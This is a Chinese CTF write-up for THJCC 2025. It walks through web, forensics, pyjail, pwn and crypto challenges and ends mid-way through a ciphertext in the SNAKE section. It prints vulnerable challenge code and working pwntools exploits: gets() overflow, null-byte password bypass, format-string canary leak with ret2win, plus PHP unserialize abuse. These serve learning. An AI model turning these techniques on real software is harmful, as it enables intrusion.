THJCC CTF 2025 WriteUp

這是我第二次打 THJCC 其實中間還有一次THJCC winter是當出題者 但出的不好 程度太菜 還是當參賽者應該比較合適
同時也在打資安女婕思初賽(輕鬆打~),不過影響不大

user: THJCC_wangwww

高中生賽場 rk. 3
總排 rk. 5

image
image
image

WarmUp

Welcome

image

beep boop beep boop

image
image
image

Discord Challenge

image
image
image

Web

Headless

image
image
image
Postman
image
image

Nothing here 👀

image
image
image
image

APPL3 STOR3🍎

image
image
中間的
image
右邊的
image
id 跳過 87
image
image
Product_Prices 改 0
image
再點立即購買
image

Lime Ranger

image
image
http://chal.ctf.scint.org:8004/?view

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
<?php 
session_start();

if(isset($_GET["view"])){
show_source(__FILE__);
exit();
}

include "flag.php";

if(!isset($_SESSION["balance"])){
$_SESSION["balance"] = 4000;
$_SESSION["inventory"] = array("UR" => 0, "SSR" => 0, "SR" => 0, "R" => 0, "N" => 0);
}

if(isset($_GET["bonus_code"])){
$code = $_GET["bonus_code"];
$new_inv = @unserialize($code);
if(is_array($new_inv)){
foreach($new_inv as $key => $value){
if(isset($_SESSION["inventory"][$key]) && is_numeric($value)){
$_SESSION["inventory"][$key] += $value;
}
}
}
}

if(isset($_GET["sellacc"])){
if($_SESSION["inventory"]["UR"] + $_SESSION["inventory"]["SSR"] >= 10){
exit("$flag");
} else {
exit('你的帳號不值錢!');
}
}

$draw_result = "";
if(isset($_GET["draw1"])){
if($_SESSION["balance"] < 40){
$draw_result = "寶石不足!";
} else {
$_SESSION["balance"] -= 40;
$draw_result = "恭喜獲得:" . implode("、", draw(1));
}
} elseif(isset($_GET["draw10"])){
if($_SESSION["balance"] < 200){
$draw_result = "寶石不足!";
} else {
$_SESSION["balance"] -= 200;
$draw_result = "恭喜獲得:" . implode("、", draw(6));
}
}

function draw($n){
$out = [];
for($i = 1; $i <= $n; $i++){
$r = lcg_value();
$out[] = lookup($r);
}
return $out;
}

function lookup($r){
if($r <= 0.001){
$_SESSION["inventory"]["UR"] += 1;
return "UR 極稀有";
} elseif($r <= 0.004){
$_SESSION["inventory"]["SSR"] += 1;
return "SSR 超級稀有";
} elseif($r <= 0.009){
$_SESSION["inventory"]["SR"] += 1;
return "SR 稀有";
} elseif($r <= 0.016){
$_SESSION["inventory"]["R"] += 1;
return "R 高級";
} else {
$_SESSION["inventory"]["N"] += 1;
return "N 普通";
}
}

$characterNames = [
"UR" => "傳說守護者",
"SSR" => "超級英雄",
"SR" => "精英戰士",
"R" => "勇敢士兵",
"N" => "新手戰士"
];
?>
<!DOCTYPE html>
<html lang="zh-TW">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Lime RANGER</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<div class="header">
<h1>Lime RANGER</h1>
</div>

<div class="user-info">
<div class="balance">
<div class="balance-icon">💎</div>
<div class="balance-info">
<span>你的寶石</span>
<strong><?=$_SESSION["balance"];?></strong>
</div>
</div>
<div class="user-id">玩家ID: <?=session_id();?></div>
</div>

<div class="inventory">
<h3>你的角色收藏</h3>
<div class="inventory-grid">
<div class="inventory-item UR">
<h4>UR</h4>
<p><?=$_SESSION["inventory"]["UR"];?></p>
<small><?=$characterNames["UR"];?></small>
<div class="character-tooltip">極稀有角色,機率:0.1%</div>
</div>
<div class="inventory-item SSR">
<h4>SSR</h4>
<p><?=$_SESSION["inventory"]["SSR"];?></p>
<small><?=$characterNames["SSR"];?></small>
<div class="character-tooltip">超級稀有角色,機率:0.3%</div>
</div>
<div class="inventory-item SR">
<h4>SR</h4>
<p><?=$_SESSION["inventory"]["SR"];?></p>
<small><?=$characterNames["SR"];?></small>
<div class="character-tooltip">稀有角色,機率:0.5%</div>
</div>
<div class="inventory-item R">
<h4>R</h4>
<p><?=$_SESSION["inventory"]["R"];?></p>
<small><?=$characterNames["R"];?></small>
<div class="character-tooltip">高級角色,機率:0.7%</div>
</div>
<div class="inventory-item N">
<h4>N</h4>
<p><?=$_SESSION["inventory"]["N"];?></p>
<small><?=$characterNames["N"];?></small>
<div class="character-tooltip">普通角色,機率:98.4%</div>
</div>
</div>
</div>

<form class="draw-buttons" method="GET">
<button type="submit" name="draw1" class="draw-button">
單抽
<span class="draw-cost">消耗40寶石</span>
</button>
<button type="submit" name="draw10" class="draw-button premium">
5+1連抽
<span class="draw-cost">消耗200寶石</span>
</button>
</form>

<form class="sellacc-container" method="GET">
<button type="submit" name="sellacc" class="draw-button sellacc-button">
出售帳號
</button>
</form>

<div class="bonus-section">
<h3>活動獎勵</h3>
<p>輸入獎勵碼以領取額外角色</p>
<form method="GET">
<input type="text" name="bonus_code"size="80">
<button type="submit">領取獎勵</button>
</form>
</div>

<?php if($draw_result): ?>
<div class="result">
<h2>抽獎結果</h2>
<p><?=$draw_result;?></p>
</div>
<?php endif; ?>

<div class="footer">
<span>© 2025 Lime RANGER</span>
<a href="?view" class="source-link">查看源碼</a>
</div>
</div>

<script>
function createSparkles() {
const items = document.querySelectorAll('.inventory-item.UR, .inventory-item.SSR');
items.forEach(item => {
for(let i = 0; i < 3; i++){
const sparkle = document.createElement('div');
sparkle.classList.add('sparkle');
const posX = Math.random() * 100;
const posY = Math.random() * 100;
sparkle.style.left = `${posX}%`;
sparkle.style.top = `${posY}%`;
const size = 3 + Math.random() * 3;
sparkle.style.width = `${size}px`;
sparkle.style.height = `${size}px`;
const hue = item.classList.contains('UR') ? '45' : '210';
sparkle.style.background = `hsl(${hue}, 100%, 75%)`;
const duration = 1 + Math.random() * 2;
const delay = Math.random() * 2;
sparkle.style.animation = `sparkle ${duration}s infinite ${delay}s`;
item.appendChild(sparkle);
}
});
}

window.addEventListener('DOMContentLoaded', () => {
createSparkles();
const buttons = document.querySelectorAll('.draw-button');
buttons.forEach(button => {
button.addEventListener('click', function(){
this.style.transform = 'scale(0.95)';
setTimeout(() => {
this.style.transform = '';
}, 100);
});
});
});
</script>
</body>
</html>

用 bonus_code 傳入序列化 array 增加 UR,SSR,然後 sellacc
image
image
點出售帳號
image

Misc

network noise

image
用記事本開 capture.pcap
image

Seems like someone’s breaking down😂

image
app.log 裡面都是試圖攻擊的紀錄
滑到底發現一組登入成功的帳密
image
image
猜真flag可能也在base64
image
唯一不一樣的
image
image

Setsuna Message

image
image
GPT 解讀提示的執行和第八層地獄,猜測 Malbolge,這是公認最難寫、最混亂的語言之一
image
image

Hidden in memory…

image
下載 memdump.rar
解壓縮得 memdump.dmp

1
pip install volatility3 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\Users\x\Downloads\ctf\THJCC2\memdump> vol -f .\memdump.dmp windows.info
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
Variable Value

Kernel Base 0xf80646619000
DTB 0x1ad000
Symbols file:///C:/Users/x/AppData/Local/Programs/Python/Python311/Lib/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/89284D0CA6ACC8274B9A44BD5AF9290B-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 WindowsCrashDump64Layer
base_layer 2 FileLayer
KdVersionBlock 0xf806472283a0
Major/Minor 15.19041
MachineType 34404
KeNumberProcessors 2
SystemTime 2025-03-18 04:04:46+00:00
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Fri May 20 08:24:42 2101

沒有,改找 Registry hive

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\Users\x\Downloads\ctf\THJCC2\memdump> vol -f memdump.dmp windows.registry.hivelist
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
Offset FileFullPath File output

0xd80b47676000 Disabled
0xd80b4768d000 \REGISTRY\MACHINE\SYSTEM Disabled
0xd80b47731000 \REGISTRY\MACHINE\HARDWARE Disabled
0xd80b4a17e000 \Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD Disabled
0xd80b4a040000 \SystemRoot\System32\Config\SOFTWARE Disabled
0xd80b4acbe000 \SystemRoot\System32\Config\DEFAULT Disabled
0xd80b4ae03000 \SystemRoot\System32\Config\SECURITY Disabled
0xd80b4ae77000 \SystemRoot\System32\Config\SAM Disabled
0xd80b4af90000 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT Disabled
0xd80b4b0b1000 \SystemRoot\System32\Config\BBI Disabled
0xd80b4b114000 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT Disabled
0xd80b4b6b8000 \??\C:\Users\WH3R3-Y0U-G3TM3\ntuser.dat Disabled
0xd80b4b706000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Microsoft\Windows\UsrClass.dat Disabled
0xd80b4c1df000 \??\C:\Windows\AppCompat\Programs\Amcache.hve Disabled
0xd80b4cd6a000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.19041.1023_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled
0xd80b4cd88000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat Disabled
0xd80b4cdd3000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.Search_1.14.9.19041_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled
0xd80b4ce8f000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat Disabled
0xd80b4df8f000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\ActivationStore.dat Disabled
0xd80b4ee8e000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat Disabled
0xd80b4efdc000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.2.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled

C:\Users\WH3R3-Y0U-G3TM3 使用者名稱可能跟電腦名稱一樣
THJCC{WH3R3-Y0U-G3TM3}

Pyjail02

image
jail.py

1
2
3
4
5
import unicodedata

inpt = unicodedata.normalize("NFKC", input("> "))

print(eval(inpt, {"__builtins__":{}}, {}))

image
貼給GPT,得知
os._wrap_close class 是 os 模組的一部分,可以從這個 class 把 os 模組「拉回來」,然後用 os.system() 或 os.popen() 之類的東西來執行系統指令
關鍵字搜尋再數一下,找到 os._wrap_close 的 index 141
image
image

Pyjail01

image
jail.py

1
2
3
4
5
6
7
8
9
10
11
12
import unicodedata, string

_ = string.ascii_letters

while True:
inpt = unicodedata.normalize("NFKC", input("> "))

for i in inpt:
if i in _:
raise NameError("No ASCII letters!")

exec(inpt)

image

Pwn

Flag Shopping

chal.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdlib.h>

int main(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

printf(" Welcome to the FLAG SHOP!!!\n");
printf("===================================================\n\n");

int money = 100;
int price[4] = {0, 25, 20, 123456789};
int own[4] = {};
int option = 0;
long long num = 0;

while(1){
printf("Which one would you like? (enter the serial number)\n");
printf("1. Coffee\n");
printf("2. Tea\n");
printf("3. Flag\n> ");

scanf("%d", &option);
if (option < 1 || option > 3){
printf("invalid option\n");
continue;
}

printf("How many do you need?\n> ");
scanf("%lld", &num);
if (num < 1){
printf("invalid number\n");
continue;
}

if (money < price[option]*(int)num){
printf("You only have %d, ", money);
printf("But it cost %d * %d = %d\n", price[option], (int)num, price[option]*(int)num);
continue;
}

money -= price[option]*(int)num;
own[option] += num;

if (own[3]){
printf("flag{fake_flag}");
exit(0);
}
}
}
1
2
>>> 2147483647//123456789
17

image

Money Overflow

chal.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include<stdio.h>
#include<stdlib.h>

void init()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

struct
{
int id;
char name[20];
unsigned short money;
} customer;

void shop(int choice)
{
switch(choice)
{
case 1:
if (customer.money >= 100)
{
customer.money -= 100;
printf("Here is your cake: %s", "🍰\n");
}
else
printf("Not enough money QQ\n");
break;
case 2:
if (customer.money >= 50)
{
customer.money -= 50;
printf("Here is your bun: %s", "🥖\n");
}
else
printf("Not enough money QQ\n");
break;
case 3:
if (customer.money >= 25)
{
customer.money -= 25;
printf("Here is your cookie: %s", "🍪\n");
}
else
printf("Not enough money QQ\n");
break;
case 4:
if (customer.money >= 10)
{
customer.money -= 10;
printf("Here is your water: %s", "💧\n");
}
else
printf("Not enough money QQ\n");
break;
case 5:
if (customer.money >= 65535)
{
system("/bin/sh");
exit(0);
}
else
printf("Not enough money QQ\n");
break;
default:
printf("Not an available choice\n");
break;
}
if (customer.money <= 0)
{
printf("No money QQ\n");
exit(0);
}
}

void main()
{
init();
customer.id = 1;
customer.money = 100;
printf("Enter your name: ");
gets(customer.name);
int choice;
while (1)
{
printf("1) cake 100$\n");
printf("2) bun 50$\n");
printf("3) cookie 25$\n");
printf("4) water 15$\n");
printf("5) get shell 65535$\n");
printf("Your money : %d$\n", customer.money);
printf("Buy > ");
scanf("%d", &choice);
shop(choice);
}
}

exploit.py

1
2
3
4
5
6
from pwn import *

r = remote('chal.ctf.scint.org',10001)

r.sendlineafter(b'name: ',b'a'*20+b'\xff\xff')
r.interactive()

image

Insecure Shell

chal.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

void init()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

int check_password(char *password, char *buf, int buf_len)
{
for (int i = 0; i < buf_len; i++)
if (password[i] != buf[i])
return 1;
return 0;
}

int main()
{
init();

char password[0x10];
char buf[0x10];

int fd = open("/dev/urandom", O_RDONLY);
if (fd < 0)
{
printf("Error opening /dev/urandom. If you see this. call admin");
return 1;
}
read(fd, password, 15);

printf("Enter the password >");
scanf("%15s", buf);

if (check_password(password, buf, strlen(buf)))
printf("Wrong password!\n");
else
system("/bin/sh");
}

image
要讓 buf_len 為0
但 scanf 無法只輸入 \x00,且 \x00 表示輸入結束,後面東西不會被讀取到
exploit.py

1
2
3
4
5
6
from pwn import *
from Crypto.Util.number import *

r = remote('chal.ctf.scint.org',10004)
r.sendlineafter(b'password >',b'\x00aaa')
r.interactive()

image

Once

chal.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>

void init()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

char charset[] = "!\"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";

void main()
{
char secret[0x10];
char buf[0x10];
char is_sure = 'y';

init();
srand(time(NULL));

for (int i = 0; i < 15; i++)
{
secret[i] = charset[rand() % strlen(charset)];
}
secret[15] = 0;

printf("Guess the secret, you only have one chance\n");
while (1)
{
printf("guess >");
scanf("%15s", buf);
getchar();

printf("Your guess: ");
printf(buf);
printf("\n");

printf("Are you sure? [y/n] >");
scanf("%1c", &is_sure);
getchar();
if (is_sure == 'y')
{
if (!strcmp(buf, secret))
{
printf("Correct answer!\n");
system("/bin/sh");
}
else
{
printf("Incorrect answer\n");
printf("Correct answer is %s\n", secret);
break;
}
}
}
}

image
image
format string 攻擊
輸入 15 個 a 看 secret 和 buf 在 stack 位址
image
secret[15] => rsp + 0x10、rsp + 0x18 => %8$p%9$p
buf[15] => rsp + 0x20、rsp + 0x28
image
image

Little Parrot

chal.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// gcc -o chal chal.c

void win(){
printf("\nYou win!\n");
printf("Here is your flag: flag{fake_flag}");
fflush(stdout);
}

int parrot(){
char buf[0x100];
printf("I'm a little parrot, and I'll repeat whatever you said!(or exit)\n> ");
while(1){
fflush(stdout);
fgets(buf, sizeof(buf), stdin);

if (!strcmp(buf, "exit\n")){
break;
}

printf("You said > ");
printf(buf);
printf("> ");
fflush(stdout);
}
}

int main(){
parrot();

char buf[0x30];
printf("anything left to say?\n> ");
fflush(stdout);
getchar();
gets(buf);
printf("You said > %s", buf);
fflush(stdout);
return 0;
}

image
一樣 format string 攻擊
先在 parrot() 的 printf(buf) 讀 canary,然後 main 的 gets() 不限長度,用來覆蓋 canary 和 ret addr,ret to win()
先讀 ret addr 算出 base,再算出 win() 的位址
image
canary 在 rsp + 0x108 => %39$p
old rbp 在 rsp + 0x110
ret addr 在 rsp + 0x118 => %41$p
image
gets(v4) 要先填充 0x38 個字元才會遇到 canary
image
parrot() 的 ret addr 是 offset 0x136c
image
win() 是 offset 0x1229

payload 要先給 getchar() 吃一個字元
exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

r = remote('chal.ctf.scint.org',10103)

r.sendlineafter(b'> ',b'%39$p')
canary = int(r.recvline().decode().strip().split(' > ')[1],16)
print(hex(canary))

r.sendlineafter(b'> ',b'%41$p')
ret = int(r.recvline().decode().strip().split(' > ')[1],16)
print(hex(ret))
base = ret - 0x136c
win = base + 0x1229

r.sendlineafter(b'> ',b'exit')

payload = b'\n' + b"a" * 0x38 + p64(canary) + b"a"*8 + p64(win)
r.sendlineafter(b'> ',payload)

r.interactive()

image

Crypto

Twins

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *
from secret import FLAG

def generate_twin_prime(N:int):
while True:
p = getPrime(N)
if isPrime(p + 2): return p, p + 2


p, q = generate_twin_prime(1024)
N = p * q
e = 0x10001
m = bytes_to_long(FLAG)
C = pow(m, e, N)

print(f"{N = }")
print(f"{e = }")
print(f"{C = }")

p q 只差 2
exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
from math import isqrt

N = 28265512785148668054687043164424479693022518403222612488086445701689124273153696780242227509530772578907204832839238806308349909883785833919803783017981782039457779890719524768882538916689390586069021017913449495843389734501636869534811161705302909526091341688003633952946690251723141803504236229676764434381120627728396492933432532477394686210236237307487092128430901017076078672141054391434391221235250617521040574175917928908260464932759768756492640542972712185979573153310617473732689834823878693765091574573705645787115368785993218863613417526550074647279387964173517578542035975778346299436470983976879797185599
e = 65537
C = 1234497647123308288391904075072934244007064896189041550178095227267495162612272877152882163571742252626259268589864910102423177510178752163223221459996160714504197888681222151502228992956903455786043319950053003932870663183361471018529120546317847198631213528937107950028181726193828290348098644533807726842037434372156999629613421312700151522193494400679327751356663646285177221717760901491000675090133898733612124353359435310509848314232331322850131928967606142771511767840453196223470254391920898879115092727661362178200356905669261193273062761808763579835188897788790062331610502780912517243068724827958000057923

p = isqrt(1 + N) - 1
q = p + 2

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(C, d, N)
flag = long_to_bytes(m)

print(flag)

image

DAES

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python3
from Crypto.Cipher import AES
from secret import FLAG
import random
import os
import signal

TIMEOUT = 120

def timeout_handler(signum, frame):
print("\nTime's up! No flag for u...")
exit()

signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(TIMEOUT)

target = os.urandom(16)

keys = [b'whalekey:' + str(random.randrange(1000000, 1999999)).encode() for _ in range(2)]

def enc(key, msg):
ecb = AES.new(key, AES.MODE_ECB)
return ecb.encrypt(msg)

def daes(msg):
tmp = enc(keys[0], msg)
return enc(keys[1], tmp)

test = b'you are my fire~'
print(daes(test).hex())
print(daes(target).hex())

ans = input("Ans:")

if ans == target.hex():
print(FLAG)
else:
print("Nah, no flag for u...")

signal.alarm(0)

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from Crypto.Cipher import AES

r = remote('chal.ctf.scint.org', 12003)

prefix = b'whalekey:'
keyspace = [prefix + str(i).encode() for i in range(1000000, 2000000)]

line1 = r.recvline().strip().decode()
line2 = r.recvline().strip().decode()

enc_plain = bytes.fromhex(line1)
enc_target = bytes.fromhex(line2)

plain = b'you are my fire~'

enc1_dict = {}
for i, k1 in enumerate(keyspace):
cipher1 = AES.new(k1, AES.MODE_ECB)
enc1 = cipher1.encrypt(plain)
enc1_dict[enc1] = k1

if i % 50000 == 0:
# print(f"Tried {i} key1")
pass

print("Start key2")

found = False
for i, k2 in enumerate(keyspace):
cipher2 = AES.new(k2, AES.MODE_ECB)
dec1 = cipher2.decrypt(enc_plain)

if dec1 in enc1_dict:
key1 = enc1_dict[dec1]
key2 = k2
print(f"key1 = {key1}")
print(f"key2 = {key2}")
found = True
break

if i % 50000 == 0:
# print(f"Tried {i} key2")
pass

cipher2 = AES.new(key2, AES.MODE_ECB)
cipher1 = AES.new(key1, AES.MODE_ECB)
enc1 = cipher2.decrypt(enc_target)
target = cipher1.decrypt(enc1)

print(f"target = {target.hex()}")

r.sendline(target.hex().encode())

r.interactive()

image

Frequency Freakout

cipher.txt

1
2
3
4
5
6
7
MW RUB LGSEC GN TEYDDMTYE TSZJRGASYJUZ, IYWZ BWRUFDMYDRD XBAMW LMRU DMIJEB DFXDRMRFRMGW TMJUBSD. RUBDB XYDMT RBTUWMHFBD CBIGWDRSYRB RUB VFEWBSYXMEMRZ GN EBRRBS NSBHFBWTZ YWC DUGL UGL TBSRYMW JYRRBSWD TYW SBVBYE UMCCBW IBDDYABD.

GWB GN RUB IGDR BPTMRMWA BPBSTMDBD MW EBYSWMWA YXGFR TMJUBSD MD RSZMWA RG TGWDRSFTR ZGFS GLW YWC TUYEEBWAB GRUBSD RG XSBYQ MR. LUMEB IGCBSW BWTSZJRMGW IBRUGCD UYVB NYS DFSJYDDBC RUBDB RBTUWMHFBD MW TGIJEBPMRZ YWC DRSBWARU, RUB NFWCYIBWRYE MCBYD SBIYMW NYDTMWYRMWA.

MN ZGF'SB FJ NGS Y JFOOEB, UBSB'D Y TUYEEBWAB: RUKTT{DFXDR1R1GW_TMJU3S_1D_TGG1} -K RUMD IMAUR EGGQ EMQB Y SYWCGI DRSMWA, XFR MR'D WGR. UMCCBW LMRUMW RUMD DBHFBWTB MD RUB QBZ RG FWCBSDRYWCMWA UGL DMIJEB EBRRBS DFXDRMRFRMGW TYW DRMEE DJYSQ TFSMGDMRZ YWC NFW.

RSZ CBTGCMWA MR GS BIXBCCMWA MR LMRUMW ZGFS GLW TMJUBS. LUG QWGLD? ZGF IMAUR KFDR MWDJMSB DGIBGWB BEDB RG CMVB MWRG RUB LGSEC GN TSZJRYWYEZDMD.

image
螢幕擷取畫面 2025-04-19 164343

SNAKE

chal.py

1
2
SSSSS = input()
print("".join(["!@#$%^&*(){}[]:;"[int(x, 2)] for x in [''.join(f"{ord(c):08b}" for c in SSSSS)[i:i+4] for i in range(0, len(SSSSS) * 8, 4)]]))

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ciphertext = "^$&:&@&}&^*$#!&@*#&^#!&^&[&;&:&*&@*%&^&%#!&[&)&]&#&[&^*$*$#!*#&^*!*%&)&[&^*$#!&;&&#!*%&(&^#!*$*^&#&;*#&%&^*##!^$&^*#*!&^&:*%&^*$#:#!%$&[&@&%&)*$*%&)&$&@&[&[*)#!*$*@*^&@&]&@*%&^*$#[#!*$&:&@&}&^*$#!&@*#&^#!&^&$*%&;*%&(&^*#&]&)&$#[#!&@&]&:&)&;*%&^#!*&&^*#*%&^&#*#&@*%&^*$#!&$&;*&&^*#&^&%#!&)&:#!&;*&&^*#&[&@*!*!&)&:&*#!*$&$&@&[&^*$#!&]*^&$&(#!&[&)&}&^#!&;*%&(&^*##!&]&^&]&#&^*#*$#!&;&&#!*%&(&^#!&**#&;*^*!#:#!%]&@&:*)#!*$*!&^&$&)&^*$#!&;&&#!*$&:&@&}&^*$#!&(&@*&&^#!*$&}*^&[&[*$#!**&)*%&(#!*$&^*&&^*#&@&[#!&]&;*#&^#!&{&;&)&:*%*$#!*%&(&@&:#!*%&(&^&)*##!&[&)*{&@*#&%#!&@&:&$&^*$*%&;*#*$#!&@&:&%#!*#&^&[&@*%&)*&&^*$#[#!&^&:&@&#&[&)&:&*#!*%&(&^&]#!*%&;#!*$**&@&[&[&;**#!*!*#&^*)#!&]*^&$&(#!&[&@*#&*&^*##!*%&(&@&:#!*%&(&^&)*##!&(&^&@&%*$#!#(&$*#&@&:&)&@&[#!&}&)&:&^*$&)*$#)#:#!^%&;#!&@&$&$&;&]&]&;&%&@*%&^#!*%&(&^&)*##!&:&@*#*#&;**#!&#&;&%&)&^*$#[#!*$&:&@&}&^*$#*#!*!&@&)*#&^&%#!&;*#&*&@&:*$#!#(*$*^&$&(#!&@*$#!&}&)&%&:&^*)*$#)#!&@*!*!&^&@*##!&;&:&^#!&)&:#!&&*#&;&:*%#!&;&&#!*%&(&^#!&;*%&(&^*##!&)&:*$*%&^&@&%#!&;&&#!*$&)&%&^#!&#*)#!*$&)&%&^#[#!&@&:&%#!&]&;*$*%#!&;&:&[*)#!&(&@*&&^#!&;&:&^#!&&*^&:&$*%&)&;&:&@&[#!&[*^&:&*#:#!^$&;&]&^#!*$*!&^&$&)&^*$#!*#&^*%&@&)&:#!&@#!*!&^&[*&&)&$#!&*&)*#&%&[&^#!**&)*%&(#!&@#!*!&@&)*##!&;&&#!*&&^*$*%&)&*&)&@&[#!&$&[&@***$#!&;&:#!&^&)*%&(&^*##!*$&)&%&^#!&;&&#!*%&(&^#!&$&[&;&@&$&@#:#!%[&)*{&@*#&%*$#!&(&@*&&^#!&)&:&%&^*!&^&:&%&^&:*%&[*)#!&^*&&;&[*&&^&%#!&^&[&;&:&*&@*%&^#!&#&;&%&)&^*$#!**&)*%&(&;*^*%#!&[&)&]&#*$#!&;*##!**&)*%&(#!&**#&^&@*%&[*)#!*#&^&%*^&$&^&%#!&[&)&]&#*$#!&@*%#!&[&^&@*$*%#!*%**&^&:*%*)#]&&&)*&&^#!*%&)&]&^*$#!*&&)&@#!&$&;&:*&&^*#&*&^&:*%#!&^*&&;&[*^*%&)&;&:#[#!&[&^&@&%&)&:&*#!*%&;#!&]&@&:*)#!&[&)&:&^&@&*&^*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#:#!^%&(&^*$&^#!*#&^*$&^&]&#&[&^#!*$&:&@&}&^*$#[#!&#*^*%#!*$&^*&&^*#&@&[#!&$&;&]&]&;&:#!&**#&;*^*!*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#!&(&@*&&^#!&^*)&^&[&)&%*$#!&@&:&%#!&^*(*%&^*#&:&@&[#!&^&@*#*$#[#!**&(&)&$&(#!*$&:&@&}&^*$#!&[&@&$&}#[#!&@&[*%&(&;*^&*&(#!*%&(&)*$#!*#*^&[&^#!&)*$#!&:&;*%#!*^&:&)*&&^*#*$&@&[#!#(*$&^&^#!%@&]*!&(&)*$&#&@&^&:&)&@#[#!%%&)&#&@&]&)&%&@&^#[#!&@&:&%#!^!*)&*&;*!&;&%&)&%&@&^#)#:#!&#&[&@&#&[&@&#&[&@#!%(&^*#&^#!&)*$#!*)&;*^*##!&&&[&@&*${#!^%%(%{%$%$*}^$%:%@%}$$$